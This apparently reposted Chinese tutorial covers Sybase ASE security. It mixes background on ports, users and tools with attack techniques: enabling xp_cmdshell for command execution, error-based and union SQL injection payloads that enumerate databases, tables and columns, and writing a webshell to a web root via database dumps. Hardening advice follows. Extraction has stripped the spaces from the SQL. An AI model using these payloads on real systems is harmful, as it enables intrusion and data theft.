当前位置: 首页 > 科技观察

Sybase数据库安全

时间:2023-03-14 08:26:44 科技观察

0x00Sybase数据库介绍  介绍  Sybase的全称又叫:SAPSybaseAdaptiveServerEnterprise(简称ASE或SybaseASE),继承自MSSQL的原始代码,具有接近与MSSQL的关系。Sybase是一个关系型数据库系统,是典型的UNIX或WindowsNT平台上客户端/服务器环境下的大型数据库系统。它使用PowerBuilder作为开发工具,使用SAPSybaseSQLAnywhere作为客户端。目前的新版本是ASE15.7.x,直接从12.5.5命名为15.0.0(中间跳过13和14)。本次测试的是12.5.2,12.5是12个大版本中最稳定的版本。  创建数据库时注意存储设备:    服务和端口  开放端口:  备份服务:5001,监控服务:5002,数据库主服务:5000,存储过程服务:5004    默认数据库    Master:系统的核心数据库,控制服务器的运行,存储所有用户数据库和相关存储设备的信息,包括用户名和密码;  模型:模板数据库,在创建用户数据库时,系统会根据模型数据库进行复制,并将数据库的大小扩展到用户指定的大小。  Systemprocs:保存系统的存储过程。  sybsystemdb:关于分布式事务管理功能。  Tempdb:包含临时表,放置临时数据。  注册用户和数据库用户  SQLSERVER创建注册用户时,用户可以合法进入SQLSERVER,注册用户信息会放在master数据库的syslogins表中。但只有当注册用户成为数据库用户,并赋予用户一定的权限后,注册用户才能在受限条件下使用数据库中的表。  创建注册用户:sp_addloginloginame,passwd(delete是drop)  创建数据库用户:[dbname..]sp_adduserloginame(这里的loginame必须是注册用户,否则会报错)  赋值权限:grantall|select,insert,delete,updateontable_name|view_name|stored_procedure_nametousername  orgrantall|createdatabase,createdefault,createprocedure,createrule,createtable,createview,setproxy,setsessionauthorizationtousername  数据库用户分类  sauser,databaseowner,databaseobjectOwner和普通数据库用户  1)、sa用户:是全权限的系统用户。  2)数据库所有者用户:数据库所有者(dbo)用户可以操作这个数据库中的所有对象(如表、视图、存储过程等)。  3)数据库对象拥有者:在实际管理中,一般为数据库拥有者。  4)、普通数据库用户:与public类似,普通数据库用户必须对本数据库中的某些对象(如表、视图、进程等)授予一定的权限,才能执行允许的操作。  别名(aliases)和组(group)  1)、别名:所谓别名(aliases)是指在SQLSERVER中注册的用户将作为同一个数据库用户访问数据库,具有相同的权限权威。  2)、组(group)是数据库用户的集合,即可以通过组(group)权限的控制来实现对本组数据库用户的控制,但是本组中的某些数据库用户也可以进行额外的权限控制。    角色  一般在管理分工比较细的数据库系统中,sa用户往往分为三种角色:系统管理员角色(SA角色)、系统安全员角色(SSO角色)、操作员角色(OPER角色)。    连接和管理工具  1)、isql  类似于mysql数据库的mysql.exe。可以连接到本地和网络数据库。连接使用isql–Usa–P"":    所有参数区分大小写:  -?显示isql开关的语法摘要。  -L列出本地配置的服务器和网络上广播的服务器的名称。  -Ulogin_id用户登录ID。登录ID区分大小写。  -P密码为用户指定的密码。如果未使用-P选项,isql将提示输入密码。如果在命令提示符末尾使用-P选项而没有密码,则isql使用默认密码NULL)。密码区分大小写。  -Sserver_name指定要连接的SQLServer的默认实例。如果未指定服务器,isql将连接到本地计算机上SQLServer的默认实例。如果要从网络上的远程计算机执行isql,则需要此选项。  -H主机名是要使用的客户端的主机名。  -d使用数据库名,用于指定使用的数据库名  2)、官方SybaseSQL优势  缺点:a.随完整数据库安装包发布,使用时有版本要求。  b。它只支持SQL语句。个人认为是isql的图形化版本,不方便。      (Sql.ini设置及功能:http://blog.csdn.net/potato015/article/details/2450989)  3),SybaseCentral官方  缺点:a。完整安装与数据库包一起发布,使用时有版本要求。  b,功能不是很强大    4)、DBArtisan  #p#  0x01Sybase安全性  执行系统命令  默认没有开启xp_cmdshell。xp_cmdshell未启用时:    启用xp_cmdshell:sp_configure'xp_cmdshellcontext',0    启用xp_cmdshell并执行命令:    权限不够时执行xp_cmdshell:    详情:  1.executesp_configure'xp_cmdshell',0允许所有具有sa_role角色的登录用户执行xp_cmdshell命令,默认禁用该功能  2,默认sp_configure'xp_cmdshell',1经测试需要和longin用户名相同windows下的密码,而且这个用户属于administrators权限组,还有一点不能忽略:取消勾选“用户下次登录需要更改密码”!  3、由于MSSQL与Windows集成,可以直接使用系统账号登录数据库。Sybase需要按照上面第二步进行配置,才能达到和MSSQL类似的效果。  评论和联合查询  支持union,可以用//,--来评论,可以用//代替空格,也可以用+代替空格,也支持count(),但通配符不能出现在子查询中。    12.5.2及之前的版本不支持TOP关键字,如果注入语句是selecttopNfrom    的形式会报错    当然不能用top,必须有另一种方法,就是setrowcountN      ,但是setrowcountN好像不支持子查询和条件句:    多句执行  和mssql的区别是多条语句直接用空格隔开代替分号。      编码支持  同MSSQL:    SQL注入特性  Phpasscript:    Javaasscript:  #p#  判断是否是Sybase数据库:id=1andexists(select*frommaster.dbo.ijdbc_function_escapes)      通过报错注入时,注意Sybase不支持直接比较不同类型的数据(区别于MSSQL):id=1and1=userid=1and1=convert(整数,用户)![enterimagedescriptionhere][28]id=1and1=convert(integer,(select+@@version))![enterimagedescriptionhere][29]id=-1unionselect1,"",(select@@version)    列库(复杂版):id=1and1=convert(integer,(SELECTMIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32)))FROM(SELECTnameFROMmaster..sysdatabases)ASgJyQWHERECONVERT(NVARCHAR(4000),gJyQ.name)>''))  列出***库主 id=1and1=convert(integer,(SELECTMIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32)))FROM(SELECTnameFROMmaster..sysdatabases)ASgJyQWHERECONVERT(NVARCHAR(4000),gJyQ.name)>'master'))  list除master之外的第一个库    listlibrary(简易版):  id=1and1=convert(integer,(SELECTnameFROMmaster..sysdatabaseswheredbid=1))不断增加dbid的值    dbid是连续数,很容易猜到    PS:虽然Sybase不能使用TOP,对于xml路径,但是支持having,wherenotin等语法,还有很多方法可以改变。  与MSSQL不同:  MSSQL是xtypeSybase是type    list(只能使用复杂版本):  id=1and1=convert(integer,(selectMIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))from(selectnamefromtest.dbo.sysobjectswheretype='U')ASaaaawhereCONVERT(NVARCHAR(4000),aaaa.name)>''))  List***tablecmd  id=1and1=convert(integer,(selectMIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))from(selectnamefromtest.dbo.sysobjectswheretype='U')ASaaaawhereCONVERT(NVARCHAR(4000)),aaaa.name)>'cmd'))  listexceptcmd第一张表cmd0    列字段:  selectnamefromtest..syscolumnswhereid=object_id('users')andcolid=1incrementcolid  即:  id=1and1=convert(integer,(selectnamefromtest..syscolumnswhereid=object_id('users')andcolid=1))    工具注入:    Pangolin猜不出库名,抓包发现使用了TOP关键字。Pangolin好像是12.5.3以后才支持sybase    备份和写入文件(webshel??l)  前提条件:  1.开启备份服务  2。备份服务允许远程访问  3。拥有数据库权限(主机权限)+磁盘写权限  步骤:  ,createtablecmd(aimage)—  ,insertintocmd(a)values('')—  ,dumpdatabasetestto'C:\wamp\www\1.php'【完整备份】  (对应到MSSQL是:备份数据库库名称到磁盘='C:\wamp\www\1.php'WITHDIFFERENTIAL,FORMAT;--)  dumpTRANSACTIONtestto'C:\wamp\www\1.php'【LOG备份】  (对应MSSQL:备份日志库名到磁盘='d:\www\xxx\test.asp'--)  注意:使用dumpTRANSACTION时,数据文件和日志文件不能存储在同一设备中  ,降表cmd--    加固预防  密码sp_password“原密码”,“新密码”,用户名  比如sa用户的密码由空改为123456:sp_passwordNULL,"123456",sasp_configure"minimumpasswordlength",8---最小密码长度sp_configure"checkpasswordfordigit",1---至少一个数sp_configure"systemwidepasswordexpiration",90---密码有效长度sp_configure"maximumfailedlogins",5---设置密码错误锁定阈值  删除扩展存储过程xp_cmdshell,删除sybsyesp.dllexecsp_dropextendedprocxp_cmdshell  关闭sa账号使用:sp_lockloginsa,"lock"  关闭远程访问:execsp_configure"allowremoteaccess",0execsp_configure"allowremoteaccess"后,0  被关闭,很多服务将不可用,比如备份  登录IP白名单  系统没有登录相关的限制设置,只能通过创建登录触发器来实现实现登录IP白名单createprocedurelogin_trgasdeclare@ipvarchar(18),@login_namevarchar(20)beginselect@ip=t.ipaddr,@login_name=suser_name()frommaster.dbo.sysprocessestwhereet.spid=@@spidif@ip<>'192.168.0.102'beginraiseerror30000'IPaddress%1!,withuser%2!loginfailed!',@ip,@login_nameselectsyb_quit()endelseprint'Welcome!'end  创建登录触发器后,执行如下命令:isql>grantexecuteonlogin_trgttologinnameisql>sp_modifyloginloginname,"loginscript",login_trg  logisql>execsp_configure"logauditlogonfailure",1--记录登录失败信息isql>execsp_configure"logauditlogonsuccess",1--记录登录成功信息